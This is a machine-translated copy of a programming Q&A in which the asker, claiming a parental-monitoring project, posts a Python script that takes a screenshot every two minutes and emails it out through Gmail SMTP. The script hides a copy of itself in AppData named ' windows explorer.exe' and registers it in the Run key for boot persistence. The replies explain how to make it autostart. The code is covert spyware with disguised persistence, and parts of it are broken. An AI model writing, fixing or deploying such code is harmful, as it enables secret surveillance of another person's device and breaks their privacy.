简体   繁体   English

如何让我的 python.exe 文件在系统重新启动时自动启动

[英]How can i make my python.exe file to start automtically when system is reboot

Hy i am working on a project name "How Parents monitor their kids" i have to proposed my idea which is i write a python Script that send screenshoot of their childern device to their parent mail after a specific interval of time.我正在研究一个名为“父母如何监控孩子”的项目,我必须提出我的想法,即我编写一个 python 脚本,在特定时间间隔后将其子设备的屏幕截图发送到其父邮件。

Now i want to add How can i make my python code.exe file to start automtically at when system is reboot现在我想添加如何使我的 python code.exe 文件在系统重新启动时自动启动

Not-working my start-up code不工作我的启动代码

Startup code in my pint of view is在我看来,启动代码是

def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)

My Python full code我的 Python 完整代码

import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self

def become_persistent(self):
    hidden_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(hidden_file_location):
        shutil.copyfile(sys.executable, hidden_file_location)
        subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + hidden_file_location + '"', shell=True)
become_persistent()

s: SMTP = smtplib.SMTP('smtp.gmail.com', port)
s.starttls()
s.login("email of parents", "password")

msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "sender email"
msg['To'] = "recepient email"
while True:
    snapshot = ImageGrab.grab()
    # Using png because it cannot write mode RGBA as JPEG
    file = "scr.png"
    snapshot.save(file)
    # Opening the image file and then attaching it
    with open(file, 'rb') as f:
        img = MIMEImage(f.read())
        img.add_header('Content-Disposition', 'attachment', filename=file)
        msg.attach(img)
    os.remove(file)
    s.sendmail("sender email", "recipent email", msg.as_string())
    # Change this value to your liking
    time.sleep(120)

Try putting the line试着把线

os.environ['DISPLAY'] = ':0'

just below your imports.就在你的进口之下。

Create a batch file for your python script.为您的 python 脚本创建一个批处理文件。 Then use Windows Task Scheduler to run the batch file every time they system boots up.然后使用 Windows 任务计划程序在每次系统启动时运行批处理文件。

Here is a good step-by-step guide.这是一个很好的分步指南。

Running python code with task scheduler使用任务调度程序运行 python 代码

There are the various ways to start python application on reboot (it's not mandatory to convert file in.exe) Run Python script at startup in Linux有多种方法可以在重启时启动 python 应用程序(不是强制转换文件 in.exe) 在 Linux 中启动时运行 Python 脚本

But, If still want to convert python file in.exe use below python library .但是,如果仍然想转换 python 文件 in.exe 使用下面的 python

pip install pyinstaller pip 安装pyinstaller

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM